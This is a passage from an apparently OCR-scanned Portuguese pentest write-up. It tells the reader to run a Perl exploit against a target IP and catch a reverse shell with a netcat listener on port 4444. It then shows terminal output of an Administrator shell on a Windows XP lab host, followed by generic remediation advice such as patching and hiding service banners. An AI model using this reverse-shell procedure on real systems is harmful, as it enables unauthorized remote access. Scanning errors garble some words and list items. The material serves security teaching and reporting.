N3ao esqueca de adicionar o endereco IP do seu alvo no script em Perl.

Apds executar o exploit, verifique o resultado no terminal que o netcat foi
executado ou esta escutando na porta 444.
O resultado da shell sera similar a da imagem abaixo:

root@kali: fhome/kali/Desktop/exploits X root@kali: fhomefkali X
/home/kali

¢ -vlp 4444
on [any] &4&444 ...
192.168.176.131: inverse host lookup failed: Unknown host
connect to [192.168.176.128] from (UNKNOWN) [192.168.176.131] 1047
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop:I




8.0 APPLICATION SECURITY

No contexto de Seguranca de AplicacOes precisamos adotar algumas
medidas de seguranca, a fim de proteger de futuros ataques, como por
exemplo:

1.
2.
3.

Atualizacao dos patches de seguranca;

Instalagao de dispositivos de rede, como IPs, WAF, Firewall etc
Instalagdo de sistemas a nivel de sistema operacional, visando a
integridade de protecao de sistemas operacionais.

Revisao de politicas de segurancga, por exemplo, politicas de acesso
etc.

Pentest regularmente ao sistema alvo

Analise de vulnerabilidade continuo.

Nesse cenario, a recomendac¢ao mais relevante é a remocgao das
informacgdes de banners, principalmente as informacgdes sobre o
versionamento do servico.

E se houver atualizagOes, atualize. Caso nao haja atualizacdes, busque
servicos equivalentes que atendam suas demandas diarias.

E para complementar, siga os 6 itens acima para garantir maior protecao
do seu ambiente.

As informacgdes contidas nessa secao, sao recomendacdes padrdoes, mas
uma analise e um estudo profundo do ambiente deve ser realizado para
melhores recomendagdes mais assertivas e precisas.
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